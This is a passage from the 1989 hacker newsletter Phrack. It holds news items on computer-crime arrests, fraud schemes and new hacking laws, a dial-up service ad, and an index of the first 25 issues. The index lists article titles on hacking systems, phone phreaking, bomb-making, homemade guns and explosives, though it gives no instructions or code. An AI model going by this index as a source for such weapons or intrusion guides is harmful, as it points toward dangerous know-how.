~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Julie Power (The Financial Review)

Federal Cabinet is expected to endorse today draft legislation containing tough penalties for hacking into Commonwealth computer systems. It is understood that the Attorney‑General, Mr. Lionel Bowen, will be proposing a range of tough new laws closely aligned with the recommendations of the Attorney‑General's Department released in December. Mr. Bowen requested the report by the Review of Commonwealth Criminal Law, chaired by Sir Harry Gibbs, as a matter of urgency because of the growing need to protect Commonwealth information and update the existing legislation.

Another consideration could be protection against unauthorized access of the tax file number, which will be stored on a number of Government databases.

If the report's recommendations are endorsed, hacking into Commonwealth computers will attract a $48,000 fine and 10 years imprisonment. In addition, it would be an offense to destroy, erase, alter, interfere, obstruct and unlawfully add to or insert data in a Commonwealth computer system.

The legislation does not extend to private computer systems. However, the Attorney‑General's Department recommended that it would be an offense to access information held in a private computer via a Telecom communication facility or another Commonwealth communication facility without due authority.

________________________________________

Multi‑Gigabuck Information Theft February 8, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Bob Mitchell (Toronto Star)(Edited for this presentation)

A man has been arrested and charged with unauthorized use of computer information, following a 2‑month police investigation. The suspect was an associate of a "very big" Toronto company: "A company that people would know, with offices across Canada." Police are keeping the company's name secret at its request. They say the perpetrator acted alone.

A password belonging to the company was used to steal information which the company values at $4 billion (Canadian). This information includes computer files belonging to an American company, believed to contain records from numerous companies, and used by large Canadian companies and the United States government.

"We don't know what this individual was planning to do with the information, but the potential is unbelievable. I'm not saying the individual intended to do this, but the program contained the kind of information that could be sold to other companies," said Lewers.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Further investigation of the above details led to the following;

Multi‑Gigabuck Value Of Information Theft Denied February 17, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Different facts about the information theft were reported two days after the original story.

The information in this article is from the Toronto Globe & Mail. The article is headlined "Computer Information Theft Detected By Security System, Company Says." And it begins as follows:

"The theft of information from a company's computer program was detected by the firm's own computer security system.

Mike Tillson, president of HCR Corporation, which specializes in developing computer software, said yesterday an unusual pattern of computer access was noticed on the company's system last week."

The article continues by saying that police reports valuing the "program" at $4 billion (Canadian) were called grossly exaggerated by Tilson: "It's more in the tens of thousands of dollars range." He also said that the illegal access had been only a week before; there was no 2‑month investigation. And asked about resale of the information, he said, "It's not clear how one would profit from it. There are any number of purposes one could imagine to idle curiosity. There is a possibility of no criminal intent."

The information not being HCR customer data, and Tilson declining to identify it, the article goes on to mention UNIX, to mumble about AT&T intellectual property, and to note that AT&T is not in the investigation "at this stage."

________________________________________

More Syracuse Busts February 6, 1989

~~~~~~~~~~~~~~~~~~~

St. Elmos Fire was arrested after a supposed friend turned him in to the police and signed an affidavit. His crimes include hacking into his school's HP3000 and the FBI and Telenet are trying to get him for hacking into another HP3000 system in Illinois.

However, it was the "friend" that was actually the person responsible for the damage done to the computer in Illinois. The problem is that Telenet traced that calls to Syracuse, New York and because of the related crimes, the authorities are inclined to believe that both were done by the same individual.

St. Elmos Fire has already had his arraignment and his lawyer says that there is very little evidence to connect SEF to the HP3000 in Syracuse, NY. However,, nothing is really known at this time concerning the status of the system in Illinois.

Information Provided by Grey Wizard

________________________________________

Television Editor Charged In Raid On Rival's Files February 8, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From San Jose Mercury News

TAMPA, Fla. (AP) ‑ A television news editor hired away from his station by a competitor has been charged with unlawfully entering the computer system of his former employer to get confidential information about news stories.

Using knowledge of the system to bypass a security shield he helped create, Michael L. Shapiro examined and destroyed files relating to news stories at Tampa's WTVT, according to the charges filed Tuesday.

Telephone records seized during Shapiro's arrest in Clearwater shoed he made several calls last month to the computer line at WTVT, where he worked as assignment editor until joining competitor WTSP as an assistant news editor in October.

Shapiro, 33, was charged with 14 counts of computer‑related crimes grouped into three second‑degree felony categories: Offenses against intellectual property, offenses against computer equipment and offenses against computer users. He was released from jail on his own recognizance.

If convicted, he could be sentenced to up to 15 years in prison and fined $10,000 for each second‑degree felony count.

Bob Franklin, WTVT's interim news director, said the station's management discovered several computer files were missing last month, and Shapiro was called to provide help. Franklin said the former employee claimed not to know the cause of the problem.

At a news conference, Franklin said: "Subsequent investigation has revealed that, at least since early January, WTVT's newsroom computer system has been the subject of repeated actual and attempted 'break‑ins.' The computers contain highly confidential information concerning the station's current and future news stories."

The news director said Shapiro was one of two people who had responsibility for daily operation and maintenance of the computer system after it was installed about eight months ago. The other still works at WTVT.

Terry Cole, news director at WTSP, said Shapiro has been placed on leave of absence from his job. Shapiro did not respond to messages asking for comment.

Franklin said Shapiro, employed by WTVT from February 1986 to September, 1988, left to advance his career. "He was very good at what he did," Franklin said. "He left on good terms."

Phrack World News XXIV

==Phrack Inc.==

Volume Two, Issue 24, File 13 of 13

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

PWN PWN

PWN P h r a c k W o r l d N e w s PWN

PWN ~~~~~~~~~~~ ~~~~~~~~~ ~~~~~~PWN

PWN Issue XXIV/Part 3 PWN

PWN PWN

PWN February 25, 1989 PWN

PWN PWN

PWN Created, Written, and Edited PWN PWN by Knight Lightning PWN

PWN PWN

PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN

The Judas Contract Fulfilled! January 24, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

"...the other thing that made me mad was that I consider myself, at least I used to consider myself, a person who was pretty careful about who I trust, basically nobody had my home number, and few people even knew where I really lived..."

The Disk Jockey

The following story, as told by The Disk Jockey, is a prime example of the dangers that exist in the phreak/hack community when sharing trust with those who have made The Judas Contract.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Let me briefly explain how I got caught...

A hacker named Compaq was busted after someone turned him in for using Sprint codes. While executing the search warrant, the state police noticed that he had an excessive amount of computer equipment which had origins that Compaq could not explain.

After checking around (I imagine checking serial numbers that Compaq had not removed), the police found that the equipment was obtained illegally. Compaq then proceeded to tell the police that I, Doug Nelson (as he thought my name was) had brought them to him (true).

Meanwhile, Compaq was talking to me and he told me that he was keeping his mouth shut the entire time. Keep in mind that I had been talking to this guy for quite a long time previously and thought that I knew him quite well. I felt that I was quite a preceptive person.

As time went by, little did I know, Compaq was having meetings again and again with the state police as well as the Federal Bureau of Investigation (FBI) concerning finding out who I was. He gave them a complete description of me, and where I (correctly) went to school, but again, he was SURE my name was Douglas Nelson, and since my phone had previously been in that name, he felt assured that he was correct. The Police checked with Illinois and couldn't find license plates or a driver's license in that name. He had remembered seeing Illinois license plates on my car.

They were stuck until Compaq had a wonderful: He and I had went out to dinner and over the course of conversation, I mentioned something about living in Bloomfield Hills, Michigan.

After telling the state police this information, they wrote to Bloomfield Hills and gave a description and asked for any pictures in their files that fit that description.

The problem was that several years ago, some friends and I were arrested for joyriding in a friend's snowmobile while he was on vacation. The neighbors didn't know us and called the police. Charges were dropped, but our prints and pictures were on file.

Bloomfield Hills sent back 12 pictures, which, according to the police report, "Kent L. Gormat (Compaq) without hesitation identified picture 3 as the individual he knows as Douglas Nelson. This individuals name was in fact Douglas..."

A warrant was issued for me and served shortly afterwards by state, local and federal authorities at 1:47 AM on June 27, 1988.

Lucky me to have such a great pal. In the 6 months that I was in prison, my parents lived 400 miles away and couldn't visit me, my girlfriend could come visit me once a month at best, since she was so far away, and Compaq, who lived a whole 10 miles away, never came to see me once. This made me rather angry as I figured this "friend" had a lot of explaining to do.

As you can see I am out of prison now, but I will be on probation until December 15, 1989.

The Disk Jockey

________________________________________

Bogus Frequent Flyer Scheme February 13, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From Associated Press

An airline ticket agent piled up 1.7 million bonus air miles via computer without leaving the ground, then sold the credits for more than $20,000, according to a published report.

Ralf Kwaschni, age 28, was arrested Sunday when he arrived for work at Kennedy International Airport and was charged with computer tampering and grand larceny, authorities said.

Kwaschni, a ticket agent for Lufthansa Airlines, used to work for American Airlines. Police said he used his computer access code to create 18 fake American Airline Advantage Accounts ‑ racking up 1.7 million bonus air miles, according to the newspaper.

All 18 accounts, five in Kwaschni's name and 13 under fake ones, listed the same post office box, according to the newspaper.

Instead of exchanging the bonus miles for all the free travel, Kwaschni sold some of them for $22,500 to brokers, who used the credits to get a couple of first class, round trip tickets from New York to Australia, two more between London and Bermuda, and one between New York and Paris. It is legal to sell personal bonus miles to brokers Port Authority Detective Charles Schmidt said.

Kwaschni would create accounts under common last names. When a person with one of the names was aboard an American flight and did not have an Advantage account, the passengers name would be eliminated from the flight list and replaced with one from the fake accounts.

"As the plane was pulling away from the gate, this guy was literally wiping out passengers," Schmidt said.

________________________________________

Massive Counterfeit ATM Card Scheme Foiled February 11, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

By Douglas Frantz (Los Angeles Times)

The U.S. Secret Service foiled a scheme to use more than 7,700 counterfeit ATM cards to obtain cash from Bank of America automated tellers. After a month‑long investigation with an informant, five people were arrested and charged with violating federal fraud statutes.

"Seized in the raid were 1,884 completed counterfeit cards, 4,900 partially completed cards, and a machine to encode the cards with Bank Of America account information, including highly secret personal identification numbers for customers."

The alleged mastermind, Mark Koenig, is a computer programmer for Applied Communications, Inc. of Omaha, a subsidiary of U.S. West. He was temporarily working under contract for a subsidiary of GTE Corporation, which handles the company's 286 ATMs at stores in California. Koenig had access to account information for cards used at the GTE ATMs. According to a taped conversation, Koenig said he had transferred the BofA account information to his home computer. He took only Bank Of America information "to make it look like an inside job" at the bank. The encoding machine was from his office.

Koenig and confederates planned to spread out across the country over six days around the President's Day weekend, and withdraw cash. They were to wear disguises because some ATMs have hidden cameras. Three "test" cards had been used successfully, but only a small amount was taken in the tests, according to the Secret Service.

The prosecuting US attorney estimated that losses to the bank would have been between $7 and $14 million. Bank Of America has sent letters to 7,000 customers explaining that they will receive new cards.

________________________________________

STARLINK ‑ An Alternative To PC Pursuit January 24, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

STARLINK is an alternative to PC Pursuit. You can call 91 cities in 28 states during off‑peak hours (7pm‑6am and all weekend) for $1.50 per hour. All connections through the Tymnet network are 2400 bps (1200 bps works too) with no surcharge and there are no maximum hours or other limitations.

There is a one time charge of $50 to signup and a $10 per month account maintenance fee. High volume users may elect to pay a $25 per month maintenance fee and $1.00 per hour charge.

The service is operated by Galaxy Telecomm in Virginia Beach, VA and users may sign up for the service by modem at 804‑495‑INFO. You will get 30 minutes free access time after signing up.

This is a service of Galaxy and not TYMNET. Galaxy buys large blocks of hours from TYMNET. To find out what your local access number is you can call TYMNET at (800) 336‑0149 24 hours per day. Don't ask them questions about rates, etc., as they don't know. Call Galaxy instead.

Galaxy says they will soon have their own 800 number for signups and information.

The following is a listing of the major cities covered. There are others that are a local call from the ones listed.

Eastern Time Zone

Connecticut: Bloomfield Hartford Stamford

Florida: Fort Lauderdale Jacksonville Longwood Miami Orlando Tampa Georgia: Atlanta Doraville Marietta Norcross

Indiana: Indianapolis

Maryland: Baltimore

Massachusetts: Boston Cambridge

New Jersey: Camden Englewood Cliffs Newark Pennsauken Princeton South Brunswick

New York: Albany Buffalo Melville New York Pittsford Rochester White Plains

North Carolina: Charlotte

Ohio: Akron Cincinnati Cleveland Columbus Dayton Pennsylvania: Philadelphia Pittsburgh

Rhode Island: Providence

Virginia: Alexandria Arlington Fairfax Midlothian Norfolk Portsmouth

Central Time Zone

Alabama: Birmingham

Illinois: Chicago Glen Ellyn

Kansas: Wichita

Michigan: Detroit

Minnesota: Minneapolis St. Paul

Missouri: Bridgeton Independence Kansas City St. Louis Nebraska: Omaha

Oklahoma: Oklahoma City Tulsa

Tennessee: Memphis Nashville

Texas: Arlington Dallas Fort Worth Houston

Wisconsin: Brookfield Milwaukee

Mountain Time Zone

Arizona: Mesa Phoenix Tucson

Colorado: Aurora Boulder Denver

Pacific Time Zone

California: Alhambra Anaheim El Segundo Long Beach Newport Beach Oakland Pasadena Pleasanton Sacramento San Francisco San Jose Sherman Oaks Vernon Walnut Creek Washington: Bellevue Seattle

STARLINK is a service of Galaxy Telecomm Division, GTC, Inc., the publishers of BBS Telecomputing News, Galaxy Magazine and other electronic publications.

________________________________________

Suspended Sentences For Computer Break‑In February 20, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From Personal Computing Weekly

"Police Officers Sentenced For Misuse Of Police National Computer"

Three police officers hired by private investigators to break into the Police National Computer received suspended prison sentences at Winchester Crown Court. The private investigators also received suspended (prison) sentences, ranging from four to six months.

The police officers were charged under the Official Secrets Act of conspiring to obtain confidential information from the Police National Computer at Hendon.

One of the police officers admitted the charge, but the other two and the private investigators pleaded Not Guilty.

The case arose out of a Television show called "Secret Society" in which private investigator Stephen Bartlett was recorded telling journalist Duncan Campbell that he had access to the Police National Computer, the Criminal Records Office at Scotland Yard and the DHSS (Department of Health & Social Security).

Bartlett said he could provide information on virtually any person on a few hours. He said he had the access through certain police officers at Basingstoke, Hampshire. Although an investigation proved the Basingstoke connection to be false, the trail led to other police officers and private detectives elsewhere.

Most of the information gleaned from the computers was used to determine who owned certain vehicles, who had a good credit record ‑‑ or even who had been in a certain place at a certain time for people investigating marital infidelity.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Of course, the actions for which the officers and others were sentenced, were not computer break‑ins as such, but rather misuse of legitimate access.

________________________________________

Virus Hoax Caused As Much Panic As The Real Thing February 20, 1989

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

>From Popular Computing Weekly

"A Virus Is Up And Running"

Michael Banbrook gave his college network managers a scare when he planted a message saying that a virus was active on the college system.

Banbrook's message appeared whenever a user miskeyed a password; the usual message would be

"You are not an authorized user."

It was replaced by the brief but sinister:

"A Virus is up and running."

When the message was discovered by the college network manager, Banbrook was immediately forbidden access to any computers at the St. Francix Xavier College at Clapham in South London.

Banbrook, 17, told "Popular Computing Weekly" that he believed the college has over‑reacted and that he had, in fact thrown a spotlight on the college's lackluster network security. The college has a 64 node RM Nimbus network running MS‑DOS.

"All any has to do is change a five‑line DOS batch file" says Banbrook. "There is no security at all"

Banbrook admits his motives were not entirely related to enhancing security: "I was just bored and started doodling and where some people would doodle with a notepad, I doodle on a keyboard. I never thought anyone would believe the message."

Banbrook was suspended from computer science A‑level classes and forbidden to use the college computers for a week before it was discovered that no virus existed. Following a meeting between college principal Bryan Scalune and Banbrook's parents, things are said to be "back to normal."

________________________________________

Phrack World News ‑‑ Quicknotes

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

For those interested in the 312/708 NPA Split, the correct date for this division is November 11, 1989. However, permissive dialing will continue until at least February 9, 1990.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Anyone who is wondering what Robert Morris, Jr. looks like should have a look at Page 66 in the January 1989 issue of Discover Magazine.

________________________________________

25

- Phrack Inc. XXV Index by Knight Lightning & Taran King

- 25th Anniversary Index by Taran King & Knight Lightning

- Bell Network Switching Systems by Taran King

- SPAN by Iron Soldier

- Unix Cracking Tips by Dark OverLord

- Hiding Out Under Unix by Black Tie Affair

- The Blue Box And Ma Bell by The Noid

- Hacking by Hatchet Molly

- Phrack World News XXV/Part 1 by Knight Lightning

- Phrack World News XXV/Part 2 by Knight Lightning

- Phrack World News XXV/Part 3 by Knight Lightning

Phrack Inc. XXV Index

==Phrack Inc.==

Volume Three, Issue 25, File 1 of 11

Phrack Inc. Newsletter Issue XXV Index

~~~~~~~~~~~~~~~~~~~~

March 29, 1989

Welcome to Phrack Inc. Issue 25 ‑‑ The beginning of Volume Three of the Phrack Inc. Newsletter. We have been around since November 17, 1985 and we're proud to be still going strong.

In this issue, we feature two really decent articles that deal with Unix and a special index file that chronicles all 25 issues of Phrack Inc. to date. Special thanks for help in the compilation of this file goes to Prime Suspect, Red Knight, and Hatchet Molly. Also, more details concerning SummerCon '89 appear in Phrack World News XXV and again, further information will be released as it develops. We hope you enjoy it!

As always, we ask that anyone with network access drop us a line to either our Bitnet accounts or our Internet addresses...

Taran King Knight Lightning C488869@UMCVMB.BITNET C483307@UMCVMB.BITNET C488869@UMCVMB.MISSOURI.EDU C483307@UMCVMB.MISSOURI.EDU

________________________________________

Table of Contents:

1. Phrack Inc. XXV Index by Taran King and Knight Lightning

2. 25th Anniversary Index by Knight Lightning, Taran King, and other friends 3. Bell Network Switching Systems by Taran King

4. SPAN: Space Physics Analysis Network by Knight Lightning

5. Unix Cracking Tips by Dark OverLord

6. Hiding Out Under Unix by Black Tie Affair

7. The Blue Box And Ma Bell by The Noid

8. Hacking: What's Legal And What's Not by Hatchet Molly

9. Phrack World News XXV/Part 1 by Knight Lightning

10. Phrack World News XXV/Part 2 by Knight Lightning

25th Anniversary Index

==Phrack Inc.==

Volume Three, Issue 25, File 2 of 11

Phrack Inc. Newsletter 25th Issue Anniversary Index

From November 17, 1985 to March 29, 1989

By Knight Lightning and Taran King

Special Thanks To

Hatchet Molly / Prime Suspect / Red Knight

Phrack 1 (November 17, 1985)

1. Introduction to Phrack Inc. Issue 1 by Taran King 2. SAM Security Article by Spitfire Hacker

3. Boot Tracing on Apple by Cheap Shades

4. The Fone Phreak's Revenge by Iron Soldier 5. MCI International Cards by Knight Lightning 6. How to Pick Master Locks by Gin Fizz and Ninja NYC 7. How to Make an Acetylene Balloon Bomb by The Clashmaster 8. School/College Computer Dial‑Ups by Phantom Phreaker

Phrack 2 (January 5, 1986)

1. Phrack Inc. Issue 2 Index by Taran King

2. Prevention of the Billing Office Blues by Forest Ranger 3. Homemade Guns by Man‑Tooth

4. Blowguns by The Pyro

5. TAC Dialups by Phantom Phreaker

6. Universal Information Services via ISDN by Taran King 7. MCI Overview by Knight Lightning

8. Hacking RSTS by Data Line

9. Phreak World News by Knight Lightning

Phrack 3

1. Phrack Inc. Issue 3 Index by Cheap Shades 2. Rolm Systems written by Monty Python

3. Making Shell Bombs by Man‑Tooth

4. Signalling Systems Around the World by Data Line 5. Private Audience by Overlord

6. 4‑Tel Systems by Phantom Phreaker

7. Eavesdropping by Circle Lord

8. Building a Shock Box by Circle Lord

9. Introduction to PBX's by Knight Lightning 10. Phreak World News II by Knight Lightning

Phrack 4

1. Pro‑Phile I on Crimson Death by Taran King 2. Ringback Codes for the 314 NPA (Incomplete) by Data Line 3. False Identification by Forest Ranger

4. Profile on MAX Long Distance Service by Phantom Phreaker 5. Breaching and Clearing Obstacles by Taran King 6. Crashing DEC‑10's by The Mentor

7. Centrex Renaissance by Jester Sluggo

8. The Tried and True Home Production Method for Speed by The Leftist 9. Phrack World News Issue 3 Part 1 by Knight Lightning 10. Phrack World News Issue 3 Part 2 by Knight Lightning 11. Phrack World News Issue 3 Part 3 by Knight Lightning

Phrack 5

1. Phrack V Intro by Taran King

2. Phrack Pro‑Phile of Broadway Hacker by Taran King

3. Hacking DEC's by Carrier Culprit

4. Hand to Hand Combat by Bad Boy in Black

5. DMS‑100 by Knight Lightning

6. Bolt Bombs by The Leftist

7. Wide Area Networks Part 1 by Jester Sluggo

8. Radio Hacking by The Seker

9. Mobile Telephone Communications by Phantom Phreaker 10. Phrack World News IV Part 1 by Knight Lightning

11. Phrack World News IV Part 2 by Knight Lightning

12. Phrack World News IV Part 3 by Knight Lightning

Phrack 6

1. Index by Taran King

2. Pro‑Phile on Groups by Knight Lightning

3. The Technical Revolution by Dr. Crash

4. Fun with Lighters by The Leftist

5. Nasty Unix Tricks by Shooting Shark

6. Smoke Bombs by Alpine Kracker

7. Cellular Telephones by High Evolutionary

8. Wide Area Networks Part 2 by Jester Sluggo

9. Phrack World News Part 1 by Knight Lightning

10. Phrack World News Part 2 by Knight Lightning

11. Phrack World News Part 3 by Knight Lightning

12. Phrack World News Part 4 by Knight Lightning

13. Phrack World News Part 5 by Knight Lightning

Phrack 7

1. Intro/Index by Taran King

2. Phrack Pro‑Phile of Scan Man by Taran King

3. Hacker's Manifesto by The Mentor

4. Hacking Chilton's Credimatic by Ryche

5. Hacking RSTS Part 1 by The Seker

6. How to Make TNT by The Radical Rocker

7. Trojan Horses in Unix by Shooting Shark

8. Phrack World News VI Part 1 by Knight Lightning

9. Phrack World News VI Part 2 by Knight Lightning

10. Phrack World News VI Part 3 by Knight Lightning

Phrack 8

1. Phrack Inc. Index by Taran King

2. Phrack Pro‑Phile V on Tuc by Taran King

3. City‑Wide Centrex by The Executioner

4. The Integrated Services Digital Network by Dr. Doom 5. The Art of Junction Box Modeming by Mad Hacker 616

6. Compuserve Info by Morgoth and Lotus

7. Fun with Automatic Tellers by The Mentor

8. Phrack World News VII Part 1 by Knight Lightning

9. Phrack World News VII Part 2 by Knight Lightning

Phrack 9

1. Introduction to Phrack Inc. Issue Nine by Taran King 2. Phrack Pro‑Phile on The Nightstalker by Taran King

3. Fun With the Centagram VMS Network by Oryan Quest

4. Programming RSTS/E File2: Editors by Solid State

5. Inside Dialog by Ctrl C

6. Plant Measurement by The Executioner

7. Multi‑User Chat Program for DEC‑10's by TTY‑Man and The Mentor 8. Introduction to Videoconferencing by Knight Lightning

9. Loop Maintenance Operations System by Phantom Phreaker and Doom Prophet 10. Phrack World News VIII by Knight Lightning

Phrack 10

1. Introduction to Phrack 10 by Taran King

2. Pro‑Phile on Dave Starr by Taran King

3. The TMC Primer by Cap'n Crax

4. A Beginner's Guide to the IBM VM/370 by Elric of Imrryr

5. Circuit Switched Digital Capability by The Executioner

6. Hacking Primos Part I by Evil Jay

7. Automatic Number Identification by Phantom Phreaker and Doom Prophet 8. Phrack World News IX Part 1 by Knight Lightning

9. Phrack World News IX Part 2 by Knight Lightning

Phrack 11

1. Index to Phrack 11 by Taran King

2. Phrack Pro‑Phile VIII on Wizard of Arpanet by Taran King 3. PACT: Prefix Access Code Translator by The Executioner

4. Hacking Voice Mail Systems by Black Knight from 713

5. Simple Data Encryption or Digital Electronics 101 by The Leftist 6. AIS ‑ Automatic Intercept System by Taran King

7. Hacking Primos I, I, III by Evil Jay

8. Telephone Signalling Methods by Doom Prophet

9. Cellular Spoofing By Electronic Serial Numbers donated by Amadeus 10. Busy Line Verification by Phantom Phreaker

11. Phrack World News X by Knight Lightning

12. Phrack World News XI by Knight Lightning

Phrack 12

1. Index of Phrack 12 by Taran King

2. Pro‑Phile IX on Agrajag The Prolonged by Taran King

3. Preview to Phrack 13‑The Life & Times of The Executioner 4. Understanding the Digital Multiplexing System (DMS) by Control C 5. The Total Network Data System by Doom Prophet

6. CSDC II ‑ Hardware Requirements by The Executioner

7. Hacking: OSL Systems by Evil Jay

8. Busy Line Verification Part II by Phantom Phreaker

9. Scan Man's Rebuttal to Phrack World News

10. Phrack World News XII Part 1 by Knight Lightning

11. Phrack World News XII Part 2 by Knight Lightning

Phrack 13 (April 1, 1987)

1. Phrack 13 Index by Taran King

2. Real Phreaker's Guide Vol. 2 by Taran King and Knight Lightning 3. How to Fuck Up the World ‑ A Parody by Thomas Covenant

4. How to Build a Paisley Box by Thomas Covenant and Double Helix 5. Phreaks In Verse by Sir Francis Drake

6. R.A.G. ‑ Rodents Are Gay by Evil Jay

7. Are You A Phone Geek? by Doom Prophet

8. Computerists Underground News Tabloid ‑ CUNT by Crimson Death 9. RAGS ‑ The Best of Sexy Exy

10. Phrack World News XIII by Knight Lightning

Phrack 14

1. Phrack 14 Index by Knight Lightning

2. Phrack Pro‑Phile X on Terminus by Taran King

3. The Conscience of a Hacker (Reprint) by The Mentor

4. REMOBS: The Reality of The Myth by Taran King

5. Understanding DMS Part II by Control C

6. TRW Business Terminology by Control C

7. Phrack World News Special Edition 1 by Knight Lightning

8. Phrack World News Issue XIV Part 1 by Knight Lightning

9. Phrack World News Issue XIV Part 2 by Knight Lightning

Phrack 15

1. Phrack XV Intro by Shooting Shark

2. More Stupid Unix Tricks by Shooting Shark

3. Making Free Local Payfone Calls by Killer Smurf

4. Advanced Carding XIV by The Disk Jockey

5. Gelled Flame Fuels by Elric of Imrryr

6. Phrack World News XV/Part 1 by Knight Lightning

7. Phrack World News XV/Part 2 by Knight Lightning

8. Phrack World News XV/Part 3 by Sir Francis Drake

Phrack 16

1. Phrack 16 Intro by Elric of Imrryr

2. BELLCORE Information by The Mad Phone‑Man

3. A Hacker's Guide to Primos: Part 1 by Cosmos Kid

4. Hacking GTN by The Kurgan

5. Credit Card Laws Laws by Tom Brokow

6. Tapping Telephone Lines by Agent Steal

7. Reading Trans‑Union Credit Reports by The Disk Jockey

8. Phrack World News XXVI/Part 1 by Shooting Shark

9. Phrack World News XXVI/Part 2 by The Mad Phone‑Man

10. Phrack World News XXVI/Part 3 by The Mad Phone‑Man

11. Phrack World News XXVI/Part 4 by Shooting Shark

12. Phrack World News XXVI/Part 5 by The $muggler

Phrack 17 (April 7, 1988)

1. Phrack XVII Introduction by Shooting Shark

2. Dun & Bradstreet Report on AT&T by Elric of Imrryr

3. Dun & Bradstreet Report on Pacific Telesis by Elric of Imrryr 4. Nitrogen‑Trioxide Explosive by Signal Substain

5. How to Hack Cyber Systems by Grey Sorcerer

6. How to Hack HP2000's by Grey Sorcerer

7. Accessing Government Computers by The Sorceress

8. Dial‑Back Modem Security by Elric of Imrryr

9. Data Tapping Made Easy by Elric of Imrryr

10. Phrack World News XVII/Part 1 by Sir Francis Drake

11. Phrack World News XVII/Part 2 by The $muggler

12. Phrack World News XVII/Part 3 by The Sorceress

Phrack 18 (June 7, 1988)

1. Index of Phrack 18 by Crinsom Death

2. Pro‑Phile XI on Ax Murderer by Crimson Death

3. An Introduction to Packet Switched Netwoks by Epsilon

4. Primos: Primenet, RJE, DPTX by Magic Hasan

5. Hacking CDC's Cyber by Phrozen Ghost

6. Unix for the Moderate by URvile

7. Unix System Security Issues by Jester Sluggo

8. Loop Maintenance Operating System by Control C

9. A Few Thinigs About Networks by Prime Suspect

10. Phrack World News XVIII Part I by Epsilon

11. Phrack World News XVIII Part II by Epsilon

Phrack 19

1. Phrack Inc. Index by Crimson Death

2. DCL Utilities for VMS Hackers by The Mentor

3. Digital Multiplexing Systems (Part 2) by Control C

4. Social Security Number Formatting by Shooting Shark

5. Facility Assignment & Control Systems by Phantom Phreaker 6. Phrack Editorial on Microbashing by The Nightstalker

7. Phrack World News XVIV/Part 1 by Knight Lightning

8. Phrack World News XVIV/Part 2 by Epsilon

Phrack 20 (October 12, 1988)

1. Phrack XX Index by Taran King and Knight Lightning

2. Phrack Pro‑Phile on Taran King

3. Timeline Featuring Taran King, Knight Lightning, and Cheap Shades 4. Welcome To Metal Shop Private by TK, KL, and CS

5. Metal/General Discussion

6. Phrack Inc./Gossip

7. Phreak/Hack Sub

8. Social Engineering

9. New Users

10. The Royal Court

11. Acronyms

12. Phrack World News XX Featuring SummerCon '88 by Knight Lightning

Phrack 21 (November 4, 1988)

1. Index by Taran King and Knight Lightning

2. Phrack Pro‑Phile on Modem Master by Taran King

3. Shadows Of A Future Past (Part 1 of the Vicious Circle Trilogy) by KL 4. The Tele‑Pages by Jester Sluggo

5. Satellite Communications by Scott Holiday

6. Network Management Center by Knight Lightning and Taran King 7. Non‑Published Numbers by Patrick Townsend

8. Blocking Of Long Distance Calls by Jim Schmickley

9. Phrack World News Special Edition II by Hatchet Molly and Knight Lightning 10. Phrack World News Issue XXI Part 1 by Knight Lightning and Epsilon 11. Phrack World News Issue XXI Part 2 by Knight Lightning and Epsilon

Phrack 22 (December 23, 1988)

1. Index by Taran King and Knight Lightning

2. Phrack Pro‑Phile on Karl Marx by Taran King & Knight Lightning 3. The Judas Contract (Part 2 of the Vicious Circle Trilogy) by KL 4. A Novice's Guide To Hacking (1989 Edition) by The Mentor

5. An Indepth Guide In Hacking Unix by Red Knight

6. Yet Another File On Hacking Unix by >Unknown User<

7. Computer Hackers Follow A Guttman‑Like Progression by Richard C. Hollinger 8. A Report On The InterNet Worm by Bob Page

9. Phrack World News Issue XXII/Part 1 by Knight Lightning and Taran King 10. Phrack World News Issue XXII/Part 2 by Knight Lightning and Taran King 11. Phrack World News Issue XXII/Part 3 by Knight Lightning and Taran King 12. Phrack World News Issue XXII/Part 4 by Knight Lightning and Taran King

Phrack 23 (January 28, 1989)

1. Phrack Inc. XXIII Index by Knight Lightning & Taran King

2. Phrack Prophile XXIII Featuring The Mentor by Taran King

3. Subdivisions (Part 3 of The Vicious Circle Trilogy) by Knight Lightning 4. Utopia; Chapter One of FTSaga by Knight Lightning

5. Foundations On The Horizon; Chapter Two of FTSaga by Knight Lightning 6. Future Transcendent Saga Index A from the Bitnet Services Library 7. Future Transcendent Saga Index B from the Bitnet Services Library 8. Getting Serious About VMS Hacking by VAXBusters International 9. Can You Find Out If Your Telephone Is Tapped? by Fred P. Graham (& VaxCat) 10. Big Brother Online by Thumpr (Special Thanks to Hatchet Molly) 11. Phrack World News XXIII/Part 1 By Knight Lightning

12. Phrack World News XXIII/Part 2 by Knight Lightning

Phrack 24 (February 25, 1989)

1. Phrack Inc. XXIV Index by Taran King and Knight Lightning

2. Phrack Prophile XXIV Featuring Chanda Leir by Taran King

3. Limbo To Infinty; Chapter Three of FTSaga by Knight Lightning 4. Frontiers; Chapter Four of FTSaga by Knight Lightning

5. Control Office Administration Of Enhanced 911 Service by The Eavesdropper 6. Glossary Terminology For Enhanced 911 Service by The Eavesdropper 7. Advanced Bitnet Procedures by VAXBusters International

8. Special Area Codes by >Unknown User<

